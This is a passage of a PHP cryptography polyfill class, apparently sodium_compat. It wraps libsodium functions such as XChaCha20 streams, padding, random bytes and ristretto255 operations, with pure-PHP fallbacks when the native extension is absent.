ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1);
ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2);
ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3);
/* Input validation: */
if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_STREAM_NONCEBYTES) {
throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_NONCEBYTES long.');
}
if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_STREAM_KEYBYTES) {
throw new SodiumException('Argument 3 must be CRYPTO_SECRETBOX_KEYBYTES long.');
}
if (self::useNewSodiumAPI()) {
return sodium_crypto_stream_xor($message, $nonce, $key);
}
if (self::use_fallback('crypto_stream_xor')) {
return (string) call_user_func('\\Sodium\\crypto_stream_xor', $message, $nonce, $key);
}
if (PHP_INT_SIZE === 4) {
return ParagonIE_Sodium_Core32_XSalsa20::xsalsa20_xor($message, $nonce, $key);
}
return ParagonIE_Sodium_Core_XSalsa20::xsalsa20_xor($message, $nonce, $key);
}
/**
* Return a secure random key for use with crypto_stream
*
* @return string
* @throws Exception
* @throws Error
*/
public static function crypto_stream_keygen()
{
return random_bytes(self::CRYPTO_STREAM_KEYBYTES);
}
/**
* Expand a key and nonce into a keystream of pseudorandom bytes.
*
* @param int $len Number of bytes desired
* @param string $nonce Number to be used Once; must be 24 bytes
* @param string $key XChaCha20 key
* @param bool $dontFallback
* @return string Pseudorandom stream that can be XORed with messages
* to provide encryption (but not authentication; see
* Poly1305 or crypto_auth() for that, which is not
* optional for security)
* @throws SodiumException
* @throws TypeError
* @psalm-suppress MixedArgument
*/
public static function crypto_stream_xchacha20($len, $nonce, $key, $dontFallback = false)
{
/* Type checks: */
ParagonIE_Sodium_Core_Util::declareScalarType($len, 'int', 1);
ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2);
ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3);
/* Input validation: */
if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_STREAM_XCHACHA20_NONCEBYTES) {
throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_XCHACHA20_NONCEBYTES long.');
}
if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_STREAM_XCHACHA20_KEYBYTES) {
throw new SodiumException('Argument 3 must be CRYPTO_STREAM_XCHACHA20_KEYBYTES long.');
}
if (self::useNewSodiumAPI() && !$dontFallback) {
return sodium_crypto_stream_xchacha20($len, $nonce, $key);
}
if (PHP_INT_SIZE === 4) {
return ParagonIE_Sodium_Core32_XChaCha20::stream($len, $nonce, $key);
}
return ParagonIE_Sodium_Core_XChaCha20::stream($len, $nonce, $key);
}
/**
* DANGER! UNAUTHENTICATED ENCRYPTION!
*
* Unless you are following expert advice, do not use this feature.
*
* Algorithm: XChaCha20
*
* This DOES NOT provide ciphertext integrity.
*
* @param string $message Plaintext message
* @param string $nonce Number to be used Once; must be 24 bytes
* @param string $key Encryption key
* @return string Encrypted text which is vulnerable to chosen-
* ciphertext attacks unless you implement some
* other mitigation to the ciphertext (i.e.
* Encrypt then MAC)
* @param bool $dontFallback
* @throws SodiumException
* @throws TypeError
* @psalm-suppress MixedArgument
*/
public static function crypto_stream_xchacha20_xor($message, $nonce, $key, $dontFallback = false)
{
/* Type checks: */
ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1);
ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2);
ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3);
/* Input validation: */
if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_STREAM_XCHACHA20_NONCEBYTES) {
throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_XCHACHA20_NONCEBYTES long.');
}
if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_STREAM_XCHACHA20_KEYBYTES) {
throw new SodiumException('Argument 3 must be CRYPTO_SECRETBOX_XCHACHA20_KEYBYTES long.');
}
if (self::useNewSodiumAPI() && !$dontFallback) {
return sodium_crypto_stream_xchacha20_xor($message, $nonce, $key);
}
if (PHP_INT_SIZE === 4) {
return ParagonIE_Sodium_Core32_XChaCha20::streamXorIc($message, $nonce, $key);
}
return ParagonIE_Sodium_Core_XChaCha20::streamXorIc($message, $nonce, $key);
}
/**
* DANGER! UNAUTHENTICATED ENCRYPTION!
*
* Unless you are following expert advice, do not use this feature.
*
* Algorithm: XChaCha20
*
* This DOES NOT provide ciphertext integrity.
*
* @param string $message Plaintext message
* @param string $nonce Number to be used Once; must be 24 bytes
* @param int $counter
* @param string $key Encryption key
* @return string Encrypted text which is vulnerable to chosen-
* ciphertext attacks unless you implement some
* other mitigation to the ciphertext (i.e.
* Encrypt then MAC)
* @param bool $dontFallback
* @throws SodiumException
* @throws TypeError
* @psalm-suppress MixedArgument
*/
public static function crypto_stream_xchacha20_xor_ic($message, $nonce, $counter, $key, $dontFallback = false)
{
/* Type checks: */
ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1);
ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2);
ParagonIE_Sodium_Core_Util::declareScalarType($counter, 'int', 3);
ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4);
/* Input validation: */
if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_STREAM_XCHACHA20_NONCEBYTES) {
throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_XCHACHA20_NONCEBYTES long.');
}
if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_STREAM_XCHACHA20_KEYBYTES) {
throw new SodiumException('Argument 3 must be CRYPTO_SECRETBOX_XCHACHA20_KEYBYTES long.');
}
if (is_callable('sodium_crypto_stream_xchacha20_xor_ic') && !$dontFallback) {
return sodium_crypto_stream_xchacha20_xor_ic($message, $nonce, $counter, $key);
}
$ic = ParagonIE_Sodium_Core_Util::store64_le($counter);
if (PHP_INT_SIZE === 4) {
return ParagonIE_Sodium_Core32_XChaCha20::streamXorIc($message, $nonce, $key, $ic);
}
return ParagonIE_Sodium_Core_XChaCha20::streamXorIc($message, $nonce, $key, $ic);
}
/**
* Return a secure random key for use with crypto_stream_xchacha20
*
* @return string
* @throws Exception
* @throws Error
*/
public static function crypto_stream_xchacha20_keygen()
{
return random_bytes(self::CRYPTO_STREAM_XCHACHA20_KEYBYTES);
}
/**
* Cache-timing-safe implementation of hex2bin().
*
* @param string $string Hexadecimal string
* @param string $ignore List of characters to ignore; useful for whitespace
* @return string Raw binary string
* @throws SodiumException
* @throws TypeError
* @psalm-suppress TooFewArguments
* @psalm-suppress MixedArgument
*/
public static function hex2bin($string, $ignore = '')
{
/* Type checks: */
ParagonIE_Sodium_Core_Util::declareScalarType($string, 'string', 1);
ParagonIE_Sodium_Core_Util::declareScalarType($ignore, 'string', 2);
if (self::useNewSodiumAPI()) {
if (is_callable('sodium_hex2bin')) {
return (string) sodium_hex2bin($string, $ignore);
}
}
if (self::use_fallback('hex2bin')) {
return (string) call_user_func('\\Sodium\\hex2bin', $string, $ignore);
}
return ParagonIE_Sodium_Core_Util::hex2bin($string, $ignore);
}
/**
* Increase a string (little endian)
*
* @param string $var
*
* @return void
* @throws SodiumException
* @throws TypeError
* @psalm-suppress MixedArgument
*/
public static function increment(&$var)
{
/* Type checks: */
ParagonIE_Sodium_Core_Util::declareScalarType($var, 'string', 1);
if (self::useNewSodiumAPI()) {
sodium_increment($var);
return;
}
if (self::use_fallback('increment')) {
$func = '\\Sodium\\increment';
$func($var);
return;
}
$len = ParagonIE_Sodium_Core_Util::strlen($var);
$c = 1;
$copy = '';
for ($i = 0; $i < $len; ++$i) {
$c += ParagonIE_Sodium_Core_Util::chrToInt(
ParagonIE_Sodium_Core_Util::substr($var, $i, 1)
);
$copy .= ParagonIE_Sodium_Core_Util::intToChr($c);
$c >>= 8;
}
$var = $copy;
}
/**
* @param string $str
* @return bool
*
* @throws SodiumException
*/
public static function is_zero($str)
{
$d = 0;
for ($i = 0; $i < 32; ++$i) {
$d |= ParagonIE_Sodium_Core_Util::chrToInt($str[$i]);
}
return ((($d - 1) >> 31) & 1) === 1;
}
/**
* The equivalent to the libsodium minor version we aim to be compatible
* with (sans pwhash and memzero).
*
* @return int
*/
public static function library_version_major()
{
if (self::useNewSodiumAPI() && defined('SODIUM_LIBRARY_MAJOR_VERSION')) {
return SODIUM_LIBRARY_MAJOR_VERSION;
}
if (self::use_fallback('library_version_major')) {
/** @psalm-suppress UndefinedFunction */
return (int) call_user_func('\\Sodium\\library_version_major');
}
return self::LIBRARY_VERSION_MAJOR;
}
/**
* The equivalent to the libsodium minor version we aim to be compatible
* with (sans pwhash and memzero).
*
* @return int
*/
public static function library_version_minor()
{
if (self::useNewSodiumAPI() && defined('SODIUM_LIBRARY_MINOR_VERSION')) {
return SODIUM_LIBRARY_MINOR_VERSION;
}
if (self::use_fallback('library_version_minor')) {
/** @psalm-suppress UndefinedFunction */
return (int) call_user_func('\\Sodium\\library_version_minor');
}
return self::LIBRARY_VERSION_MINOR;
}
/**
* Compare two strings.
*
* @param string $left
* @param string $right
* @return int
* @throws SodiumException
* @throws TypeError
* @psalm-suppress MixedArgument
*/
public static function memcmp($left, $right)
{
/* Type checks: */
ParagonIE_Sodium_Core_Util::declareScalarType($left, 'string', 1);
ParagonIE_Sodium_Core_Util::declareScalarType($right, 'string', 2);
if (self::useNewSodiumAPI()) {
return sodium_memcmp($left, $right);
}
if (self::use_fallback('memcmp')) {
return (int) call_user_func('\\Sodium\\memcmp', $left, $right);
}
/** @var string $left */
/** @var string $right */
return ParagonIE_Sodium_Core_Util::memcmp($left, $right);
}
/**
* It's actually not possible to zero memory buffers in PHP. You need the
* native library for that.
*
* @param string|null $var
* @param-out string|null $var
*
* @return void
* @throws SodiumException (Unless libsodium is installed)
* @throws TypeError
* @psalm-suppress TooFewArguments
*/
public static function memzero(&$var)
{
/* Type checks: */
ParagonIE_Sodium_Core_Util::declareScalarType($var, 'string', 1);
if (self::useNewSodiumAPI()) {
/** @psalm-suppress MixedArgument */
sodium_memzero($var);
return;
}
if (self::use_fallback('memzero')) {
$func = '\\Sodium\\memzero';
$func($var);
if ($var === null) {
return;
}
}
// This is the best we can do.
throw new SodiumException(
'This is not implemented in sodium_compat, as it is not possible to securely wipe memory from PHP. ' .
'To fix this error, make sure libsodium is installed and the PHP extension is enabled.'
);
}
/**
* @param string $unpadded
* @param int $blockSize
* @param bool $dontFallback
* @return string
* @throws SodiumException
*/
public static function pad($unpadded, $blockSize, $dontFallback = false)
{
/* Type checks: */
ParagonIE_Sodium_Core_Util::declareScalarType($unpadded, 'string', 1);
ParagonIE_Sodium_Core_Util::declareScalarType($blockSize, 'int', 2);
$unpadded = (string) $unpadded;
$blockSize = (int) $blockSize;
if (self::useNewSodiumAPI() && !$dontFallback) {
return (string) sodium_pad($unpadded, $blockSize);
}
if ($blockSize <= 0) {
throw new SodiumException(
'block size cannot be less than 1'
);
}
$unpadded_len = ParagonIE_Sodium_Core_Util::strlen($unpadded);
$xpadlen = ($blockSize - 1);
if (($blockSize & ($blockSize - 1)) === 0) {
$xpadlen -= $unpadded_len & ($blockSize - 1);
} else {
$xpadlen -= $unpadded_len % $blockSize;
}
$xpadded_len = $unpadded_len + $xpadlen;
$padded = str_repeat("\0", $xpadded_len - 1);
if ($unpadded_len > 0) {
$st = 1;
$i = 0;
$k = $unpadded_len;
for ($j = 0; $j <= $xpadded_len; ++$j) {
$i = (int) $i;
$k = (int) $k;
$st = (int) $st;
if ($j >= $unpadded_len) {
$padded[$j] = "\0";
} else {
$padded[$j] = $unpadded[$j];
}
/** @var int $k */
$k -= $st;
$st = (int) (~(
(
(
($k >> 48)
|
($k >> 32)
|
($k >> 16)
|
$k
) - 1
) >> 16
)
) & 1;
$i += $st;
}
}
$mask = 0;
$tail = $xpadded_len;
for ($i = 0; $i < $blockSize; ++$i) {
# barrier_mask = (unsigned char)
# (((i ^ xpadlen) - 1U) >> ((sizeof(size_t) - 1U) * CHAR_BIT));
$barrier_mask = (($i ^ $xpadlen) -1) >> ((PHP_INT_SIZE << 3) - 1);
# tail[-i] = (tail[-i] & mask) | (0x80 & barrier_mask);
$padded[$tail - $i] = ParagonIE_Sodium_Core_Util::intToChr(
(ParagonIE_Sodium_Core_Util::chrToInt($padded[$tail - $i]) & $mask)
|
(0x80 & $barrier_mask)
);
# mask |= barrier_mask;
$mask |= $barrier_mask;
}
return $padded;
}
/**
* @param string $padded
* @param int $blockSize
* @param bool $dontFallback
* @return string
* @throws SodiumException
*/
public static function unpad($padded, $blockSize, $dontFallback = false)
{
/* Type checks: */
ParagonIE_Sodium_Core_Util::declareScalarType($padded, 'string', 1);
ParagonIE_Sodium_Core_Util::declareScalarType($blockSize, 'int', 2);
$padded = (string) $padded;
$blockSize = (int) $blockSize;
if (self::useNewSodiumAPI() && !$dontFallback) {
return (string) sodium_unpad($padded, $blockSize);
}
if ($blockSize <= 0) {
throw new SodiumException('block size cannot be less than 1');
}
$padded_len = ParagonIE_Sodium_Core_Util::strlen($padded);
if ($padded_len < $blockSize) {
throw new SodiumException('invalid padding');
}
# tail = &padded[padded_len - 1U];
$tail = $padded_len - 1;
$acc = 0;
$valid = 0;
$pad_len = 0;
$found = 0;
for ($i = 0; $i < $blockSize; ++$i) {
# c = tail[-i];
$c = ParagonIE_Sodium_Core_Util::chrToInt($padded[$tail - $i]);
# is_barrier =
# (( (acc - 1U) & (pad_len - 1U) & ((c ^ 0x80) - 1U) ) >> 8) & 1U;
$is_barrier = (
(
($acc - 1) & ($pad_len - 1) & (($c ^ 80) - 1)
) >> 7
) & 1;
$is_barrier &= ~$found;
$found |= $is_barrier;
# acc |= c;
$acc |= $c;
# pad_len |= i & (1U + ~is_barrier);
$pad_len |= $i & (1 + ~$is_barrier);
# valid |= (unsigned char) is_barrier;
$valid |= ($is_barrier & 0xff);
}
# unpadded_len = padded_len - 1U - pad_len;
$unpadded_len = $padded_len - 1 - $pad_len;
if ($valid !== 1) {
throw new SodiumException('invalid padding');
}
return ParagonIE_Sodium_Core_Util::substr($padded, 0, $unpadded_len);
}
/**
* Will sodium_compat run fast on the current hardware and PHP configuration?
*
* @return bool
*/
public static function polyfill_is_fast()
{
if (extension_loaded('sodium')) {
return true;
}
if (extension_loaded('libsodium')) {
return true;
}
return PHP_INT_SIZE === 8;
}
/**
* Generate a string of bytes from the kernel's CSPRNG.
* Proudly uses /dev/urandom (if getrandom(2) is not available).
*
* @param int $numBytes
* @return string
* @throws Exception
* @throws TypeError
*/
public static function randombytes_buf($numBytes)
{
/* Type checks: */
if (!is_int($numBytes)) {
if (is_numeric($numBytes)) {
$numBytes = (int) $numBytes;
} else {
throw new TypeError(
'Argument 1 must be an integer, ' . gettype($numBytes) . ' given.'
);
}
}
/** @var positive-int $numBytes */
if (self::use_fallback('randombytes_buf')) {
return (string) call_user_func('\\Sodium\\randombytes_buf', $numBytes);
}
if ($numBytes < 0) {
throw new SodiumException("Number of bytes must be a positive integer");
}
return random_bytes($numBytes);
}
/**
* Generate an integer between 0 and $range (non-inclusive).
*
* @param int $range
* @return int
* @throws Exception
* @throws Error
* @throws TypeError
*/
public static function randombytes_uniform($range)
{
/* Type checks: */
if (!is_int($range)) {
if (is_numeric($range)) {
$range = (int) $range;
} else {
throw new TypeError(
'Argument 1 must be an integer, ' . gettype($range) . ' given.'
);
}
}
if (self::use_fallback('randombytes_uniform')) {
return (int) call_user_func('\\Sodium\\randombytes_uniform', $range);
}
return random_int(0, $range - 1);
}
/**
* Generate a random 16-bit integer.
*
* @return int
* @throws Exception
* @throws Error
* @throws TypeError
*/
public static function randombytes_random16()
{
if (self::use_fallback('randombytes_random16')) {
return (int) call_user_func('\\Sodium\\randombytes_random16');
}
return random_int(0, 65535);
}
/**
* @param string $p
* @param bool $dontFallback
* @return bool
* @throws SodiumException
*/
public static function ristretto255_is_valid_point($p, $dontFallback = false)
{
if (self::useNewSodiumAPI() && !$dontFallback) {
return sodium_crypto_core_ristretto255_is_valid_point($p);
}
try {
$r = ParagonIE_Sodium_Core_Ristretto255::ristretto255_frombytes($p);
return $r['res'] === 0 &&
ParagonIE_Sodium_Core_Ristretto255::ristretto255_point_is_canonical($p) === 1;
} catch (SodiumException $ex) {
if ($ex->getMessage() === 'S is not canonical') {
return false;
}
throw $ex;
}
}
/**
* @param string $p
* @param string $q
* @param bool $dontFallback
* @return string
* @throws SodiumException
*/
public static function ristretto255_add($p, $q, $dontFallback = false)
{
if (self::useNewSodiumAPI() && !$dontFallback) {
return sodium_crypto_core_ristretto255_add($p, $q);
}
return ParagonIE_Sodium_Core_Ristretto255::ristretto255_add($p, $q);
}
/**
* @param string $p
* @param string $q
* @param bool $dontFallback
* @return string
* @throws SodiumException
*/
public static function ristretto255_sub($p, $q, $dontFallback = false)
{
if (self::useNewSodiumAPI() && !$dontFallback) {
return sodium_crypto_core_ristretto255_sub($p, $q);
}
return ParagonIE_Sodium_Core_Ristretto255::ristretto255_sub($p, $q);
}
/**
* @param string $r
* @param bool $dontFallback
* @return string
*
* @throws SodiumException
*/
public static function ristretto255_from_hash($r, $dontFallback = false)
{
if (self::useNewSodiumAPI() && !$dontFallback) {
return sodium_crypto_core_ristretto255_from_hash($r);
}
return ParagonIE_Sodium_Core_Ristretto255::ristretto255_from_hash($r);
}
/**
* @param bool $dontFallback
* @return string
*
* @throws SodiumException
*/
public static function ristretto255_random($dontFallback = false)
{
if (self::useNewSodiumAPI() && !$dontFallback) {
return sodium_crypto_core_ristretto255_random();
}
return ParagonIE_Sodium_Core_Ristretto255::ristretto255_random();
}
/**
* @param bool $dontFallback
* @return string
*
* @throws SodiumException
*/
public static function ristretto255_scalar_random($dontFallback = false)
{
if (self::useNewSodiumAPI() && !$dontFallback) {
return sodium_crypto_core_ristretto255_scalar_random();
}
return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_random();
}
/**
* @param string $s
* @param bool $dontFallback
* @return string
* @throws SodiumException
*/
public static function ristretto255_scalar_invert($s, $dontFallback = false)
{
if (self::useNewSodiumAPI() && !$dontFallback) {
return sodium_crypto_core_ristretto255_scalar_invert($s);
}
return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_invert($s);
}
/**
* @param string $s
* @param bool $dontFallback
* @return string
* @throws SodiumException
*/
public static function ristretto255_scalar_negate($s, $dontFallback = false)
{
if (self::useNewSodiumAPI() && !$dontFallback) {
return sodium_crypto_core_ristretto255_scalar_negate($s);
}
return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_negate($s);
}
/**
* @param string $s
* @param bool $dontFallback
* @return string
* @throws SodiumException
*/
public static function ristretto255_scalar_complement($s, $dontFallback = false)
{
if (self::useNewSodiumAPI() && !$dontFallback) {
return sodium_crypto_core_ristretto255_scalar_complement($s);
}
return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_complement($s);
}
/**
* @param string $x
* @param string $y
* @param bool $dontFallback
* @return string
* @throws SodiumException
*/
public static function ristretto255_scalar_add($x, $y, $dontFallback = false)
{
if (self::useNewSodiumAPI() && !$dontFallback) {
return sodium_crypto_core_ristretto255_scalar_add($x, $y);
}
return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_add($x, $y);
}
/**
* @param string $x
* @param string $y
* @param bool $dontFallback
* @return string
* @throws SodiumException
*/
public static function ristretto255_scalar_sub($x, $y, $dontFallback = false)
{
if (self::useNewSodiumAPI() && !$dontFallback) {
return sodium_crypto_core_ristretto255_scalar_sub($x, $y);
}
return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_sub($x, $y);
}
/**
* @param string $x
* @param string $y
* @param bool $dontFallback
* @return string
* @throws SodiumException
*/
public static function ristretto255_scalar_mul($x, $y, $dontFallback = false)
{
if (self::useNewSodiumAPI() && !$dontFallback) {
return sodium_crypto_core_ristretto255_scalar_mul($x, $y);
}
return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_mul($x, $y);
}
/**
* @param string $n
* @param string $p
* @param bool $dontFallback
* @return string
* @throws SodiumException
*/
public static function scalarmult_ristretto255($n, $p, $dontFallback = false)
{
if (self::useNewSodiumAPI() && !$dontFallback) {
return sodium_crypto_scalarmult_ristretto255($n, $p);
}
return ParagonIE_Sodium_Core_Ristretto255::scalarmult_ristretto255($n, $p);
}
/**
* @param string $n
* @param string $p
* @param bool $dontFallback
* @return string
* @throws SodiumException
*/
public static function scalarmult_ristretto255_base($n, $dontFallback = false)
{
if (self::useNewSodiumAPI() && !$dontFallback) {
return sodium_crypto_scalarmult_ristretto255_base($n);
}
return ParagonIE_Sodium_Core_Ristretto255::scalarmult_ristretto255_base($n);
}
/**
* @param string $s
* @param bool $dontFallback
* @return string
* @throws SodiumException
*/
public static function ristretto255_scalar_reduce($s, $dontFallback = false)
{
if (self::useNewSodiumAPI() && !$dontFallback) {
return sodium_crypto_core_ristretto255_scalar_reduce($s);
}
return ParagonIE_Sodium_Core_Ristretto255::sc_reduce($s);
}
/**
* Runtime testing method for 32-bit platforms.
*
* Usage: If runtime_speed_test() returns FALSE, then our 32-bit
* implementation is to slow to use safely without risking timeouts.
* If this happens, install sodium from PECL to get acceptable
* performance.
*
* @param int $iterations Number of multiplications to attempt
* @param int $maxTimeout Milliseconds
* @return bool TRUE if we're fast enough, FALSE is not
* @throws SodiumException
*/
public static function runtime_speed_test($iterations, $maxTimeout)
{
if (self::polyfill_is_fast()) {
return true;
}
/** @var float $end */
$end = 0.0;
/** @var float $start */
$start = microtime(true);
/** @var ParagonIE_Sodium_Core32_Int64 $a */
$a = ParagonIE_Sodium_Core32_Int64::fromInt(random_int(3, 1 << 16));
for ($i = 0; $i < $iterations; ++$i) {
/** @var ParagonIE_Sodium_Core32_Int64 $b */
$b = ParagonIE_Sodium_Core32_Int64::fromInt(random_int(3, 1 << 16));
$a->mulInt64($b);
}
/** @var float $end */
$end = microtime(true);
/** @var int $diff */
$diff = (int) ceil(($end - $start) * 1000);
return $diff < $maxTimeout;
}
/**
* Add two numbers (little-endian unsigned), storing the value in the first
* parameter.
*
* This mutates $val.
*
* @param string $val
* @param string $addv
* @return void
* @throws SodiumException
*/
public static function sub(&$val, $addv)
{
$val_len = ParagonIE_Sodium_Core_Util::strlen($val);
$addv_len = ParagonIE_Sodium_Core_Util::strlen($addv);
if ($val_len !== $addv_len) {
throw new SodiumException('values must have the same length');
}
$A = ParagonIE_Sodium_Core_Util::stringToIntArray($val);
$B = ParagonIE_Sodium_Core_Util::stringToIntArray($addv);
$c = 0;
for ($i = 0; $i < $val_len; $i++) {
$c = ($A[$i] - $B[$i] - $c);
$A[$i] = ($c & 0xff);
$c = ($c >> 8) & 1;
}
$val = ParagonIE_Sodium_Core_Util::intArrayToString($A);
}
/**
* This emulates libsodium's version_string() function, except ours is
* prefixed with 'polyfill-'.
*
* @return string
* @psalm-suppress MixedInferredReturnType
* @psalm-suppress UndefinedFunction
*/
public static function version_string()
{
if (self::useNewSodiumAPI()) {
return (string) sodium_version_string();
}
if (self::use_fallback('version_string')) {
return (string) call_user_func('\\Sodium\\version_string');
}
return (string) self::VERSION_STRING;
}
/**
* Should we use the libsodium core function instead?
* This is always a good idea, if it's available. (Unless we're in the
* middle of running our unit test suite.)
*
* If ext/libsodium is available, use it. Return TRUE.
* Otherwise, we have to use the code provided herein. Return FALSE.
*
* @param string $sodium_func_name
*
* @return bool
*/
protected static function use_fallback($sodium_func_name = '')
{
static $res = null;
if ($res === null) {
$res = extension_loaded('libsodium') && PHP_VERSION_ID >= 50300;
}
if ($res === false) {
// No libsodium installed
return false;
}
if (self::$disableFallbackForUnitTests) {
// Don't fallback. Use the PHP implementation.
return false;
}
if (!empty($sodium_func_name)) {
return is_callable('\\Sodium\\' . $sodium_func_name);
}
return true;
}
/**
* Libsodium as implemented in PHP 7.2
* and/or ext/sodium (via PECL)
*
* @ref https://wiki.php.net/rfc/libsodium
* @return bool
*/
protected static function useNewSodiumAPI()
{
static $res = null;
if ($res === null) {
$res = PHP_VERSION_ID >= 70000 && extension_loaded('sodium');
}
if (self::$disableFallbackForUnitTests) {
// Don't fallback. Use the PHP implementation.
return false;
}
return (bool) $res;
}
}